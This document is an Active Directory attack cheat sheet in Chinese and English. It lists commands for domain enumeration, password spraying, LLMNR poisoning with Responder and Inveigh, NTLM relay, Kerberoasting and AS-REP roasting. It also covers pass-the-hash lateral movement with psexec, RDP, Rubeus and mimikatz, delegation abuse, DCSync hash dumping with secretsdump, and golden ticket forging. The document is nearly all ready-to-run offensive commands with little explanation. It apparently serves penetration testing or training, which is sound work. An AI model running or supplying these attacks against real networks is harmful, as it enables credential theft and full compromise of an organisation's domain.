DC 的安全考量:
SMBv2 Message signing enabled but not required
–> ntlmrelaynet user
net user <username>
net accounts
net user /domain
net user {username} /domain
whoami /priv
net groups /domain
net groups "Domain Admins" /domain
net groups "Schema Admins" /domain
net groups "Enterprise Admins" /domain
net use \\DC01\ipc$ "" /u:""
net use \\DC01\ipc$ "" /u:guest
This user can't sign in because this account is currently disabled.
net use \\DC01\ipc$ "password" /u:guest
The user name or password is incorrect.
The referenced account is currently locked out and may not be logged on to.
Get-ADUser
:查詢網域使用者資訊。Get-ADGroup
:查詢網域群組資訊。Get-ADComputer
:查詢網域電腦資訊。Get-ADObject
:查詢 AD 物件資訊。Get-NetDomain
:查詢網域資訊。Get-NetForest
:查詢樹系資訊。Get-NetOU
:查詢組織單位 (OU) 資訊。Get-NetGPO
:查詢群組原則物件 (GPO) 資訊。Get-NetLocalGroupMember
:查詢本機群組成員。Get-NetGroupMember
:查詢網域群組成員。Get-MpComputerStatus
:觀察防毒狀態Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
:AppLockerlldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "*"
ldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
ldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
ldapsearch -x -H ldap://<ip> -D 'user@domain' -w 'password' -b 'dc=<domain_name>,dc=<top_domain>' '(ObjectClass=user)'
nxc ldap -u <user> -p <password>
–> NTLM 驗證(NXC 默認驗證方法),要啟用 Protocol transition 才能用 NTLM 存取 kerberos 驗證的服務。nxc ldap -u <user> -p <password> -k
–> 指定用 Kerberos 驗證(Protocol transition 關閉時可以用)echo %logonserver%
nltest /dclist:<domain>
import-module .\PowerView.ps1
Get-DomainPolicy
Invoke-UserHunter
:PowerView 中的腳本,用於尋找網域管理員登入的系統。Invoke-ProcessHunter
:PowerView 中的腳本,用於尋找特定進程 (例如 Mimikatz) 運行的系統。smbclient -L \\<ip> -U user%password
smbclient -U user \\\\10.129.42.197\\SHARENAME
smbmap -u <user> -d <domain> -p <password> -H <host_ip>
crackmapexec smb <host_ip> --users
crackmapexec smb <host_ip> -u <username> -p <password>
crackmapexec smb <host_ip> -u "user" -p "password" --shares
enum4linux -P <Host_IP>
enum4linux -U <Host_IP> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
enum4linux -u <username> -p <password> <Host_IP>
enum4linux-ng -P {ip} -oA {output_filename}
rpcclient
Samba 套件的一部分,可以用來連接目標主機並執行各種 RPC 操作,像是枚舉使用者、群組、共享資料夾等資訊。
rpcclient -U "" -N <ip>
-U ""
:表示匿名連接,無需提供使用者名稱。-N
:表示不要求密碼。querydominfo
enumdomusers
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
rpcclient -U "username%password" <ip>
rpcclient -U "" -N 10.7.30.21 -c "<command>"
Get-NetGPO
Import-Module .\GetUserSPN.ps1
kerbrute userenum -d domain.local --dc <dc-ip> /wordlists.txt
powershell.exe –nop –ep bypass .\adrecon.ps1 -DomainController <dc-ip> -Credential <user>/<doamin>
.\sharphound.exe -c all
nxc ldap <ip> -u user -p pass --bloodhound --collection All
nxc ldap <ip> -u user -p pass --bloodhound --collection All --dns-server <ip>
psexec.exe -accepteula
:https://docs.microsoft.com/en-us/sysinternals/downloads/psexecpsexec.exe -accepteula \\<ip> -u [<domain>\]<username> -p <password> cmd
impacket-psexec <user>@<ip>
(開shell)proxychains psexec.py <username>:<passowrd>@<ip> whoami
crackmapexec smb [IP] -u administrator -p Passw0rd ‐‐exec‐method mmcexec ‐x 'whoami'
--exec-method {mmcexec,smbexec,atexec,wmiexec}
\\<ip>\c$
smbclient -L \\<ip>\c$
net use \\<ip>\C$ "<password>" /user:<username>
net use
copy mimikatz.exe \\<ip>\C$
administrator
或 Remote Desktop Users 群組
的成員可以用 RDP 連線。Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName
nxc rdp <subnet> -u user -p 'password' -d <domain>.local
Pwn3d!
代表該 user 是我們能夠連進去的mstsc.exe
Administrator
群組reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
0
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
.\Rubeus.exe createnetonly /program:powershell.exe /show
.\Rubeus.exe asktgt /user:<user> /rc4:<NT hash> /domain:<domain>.local /ptt
/ptt
:直接 inject 到當前 session 中,因此在當前的 powershell 中再打開 mstsc.exe /restrictedAdmin
,即可移動成功。sudo apt-get install freerdp2-x11
xfreerdp /u:<user> /p:'<password>' /v:<Host_IP> /d:<domain>.local /dynamic-resolution /drive:.,linux
xfreerdp /u:<user> /p:'Password' /d:<domain>.local /v:<ip> /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache
vim /etc/proxychains.conf
./chisel server --reverse
chisel.exe client <VPN IP> R:socks
proxychains4 -q xfreerdp /u:<user> /pth:<NT hash> /d:<domain>.local /v:<rdp_target_ip>
.\Rubeus.exe createnetonly /program:powershell.exe /show
.\Rubeus.exe asktgt /user:<user> /rc4:<NTLM> /domain:<Domain>.local /ptt
mstsc.exe /restrictedAdmin
kali:pth-winexe
https://github.com/byt3bl33d3r/pth-toolkit/tree/master
pth-winexe -U <domain>/<username>%aad3b435b51404eeaad3b435b51404ee(LM_Hash):<NTLM Hash> //<IP> cmd.exe
On Windows:
wmiexec.exe
:https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe
wmiexec.exe -hashes <LM>:<NTLM> <domain>/<username>@<ip> <command>
sekurlsa::pth/user:Administrator/domain:atomic.local/ntlm:cc36cf7a8514893efccd3324464tkg1a
kerberos::ptt Administrator@krbtgt-atomic.LOCAL.kirbi
- PowerShell Remoting only allows connections from members of the Administrators group
- Members of the Remote Management Users group can access WMI resources over management protocols
crackmapexec winrm <host_ip> -u user.list -p password.list
sudo gem install evil-winrm
evil-winrm -i <target-IP> -u <username> -p <password>
responder -I <網卡>
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
(Get-Command Invoke-Inveigh).Parameters
cme {protocol} {target(s)} -u <usernames_lists> -p <passwords_lists>
cme {protocol} {target(s)} -u <usernames_lists> -p <passwords_lists> --no-bruteforce
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" <dc-ip> | grep Authority; done
grep Authority
是用來過濾有效登入kerbrute passwordspray -d <domain>.local --dc <dc-ip> valid_users.txt <password>
sprayhound -U users.txt -d <domain> -dc <dc_ip> --lower
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password <password> -OutFile spray_success -ErrorAction SilentlyContinue
sudo vim /etc/responder/Responder.conf
SMB = Off
nmap -sSV -p 445 -script smb2-security-mode <subnet>
crackmapexec smb <ip_or_ip_range> --gen-relay-list relay.txt
impacket-ntlmrelayx -tf relay.txtrelay.txt.txt -of netntlm -smb2support -socks
crackmapexec smb {ip} --users (smb username)
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<user.txt>" <ip>
impacket-GetUserSPNs {domain}\{name}:{[password]} -dc-ip {dc-ip} -request -outputfile hash
GetNPUsers.py <Domain>/ -no-pass -usersfile <users_file>
Graphic: Kerberos Unconstrained Delegation Communication Flow
圖片來源:https://adsecurity.org/?p=1667
impacket-findDelegation {domain}/{user}:{password}
Constrained w/ Protocol Transition
CIFS/...
impacket-getST -spn CIFS/... -impersonate administrator {domain}/{user}:{passowrd}
administrator
權限Find-InterestingDomainAcl
Replicating Directory Changes
或 Replicating Directory Changes All
才能應用此攻擊 (擁有 Administrators、Domain Controllers 或 Enterprise Domain Admins 群組內的使用者權限)nxc smb <dc_ip> -H <hash> -d <domain> -u <username> --ntds
privilege::debug
sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlm>
lsadump::dcsync /all
python3 impacket-secretsdump <Domain>/administrator:<Domiain_admin_password>@<ip> -dc-ip <dc_ip> -just-dc-user administrator
Golden Ticket 是一種特權 Kerberos TGT(Ticket Granting Ticket),允許攻擊者假冒域內的任何用戶,並在域內擁有最高權限。
透過上述 Dumping Hash 攻擊獲得 (krbtgt的) NTLM hash 之後,接著可以製作 Golden Ticket
On Windows:
lsadump::dcsync /domain:<domain> /user:krbtgt
sekurlsa::pth /user:administrator /domain:example.com /ntlm:KRBTGT_NTLM_HASH /sid:S-1-5-21-XXXXXXX-XXXXXXX-XXXXXXX /target:example.com /groups:513 /ticket:golden.kirbi
kerberos::ptt golden.kirbi
On Linux:
secretsdump 利用目錄複製服務遠程協議 (MS-DRSR),也就是 DCSync 所依賴的協議,來模擬域控制器之間的複製行為,從而請求指定域控制器上的帳戶 NTLM
impacket-secretsdump '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP_OR_HOSTNAME>' -just-dc
or PTH:impacket-secretsdump '<DOMAIN>/<USERNAME>@<DC_IP_OR_HOSTNAME>' -hashes <LM_HASH>:<NTLM_HASH> -just-dc
SID Extraction:impacket-lookupsid:<DOMAIN>/<USERNAME>:'<PASSWORD>'@<DC_IP_OR_HOSTNAME>
需要一個有效的 Kerberos TGT ticket,並將其保存在 ccache)。
export KRB5CCNAME=/path/to/your/ticket.ccache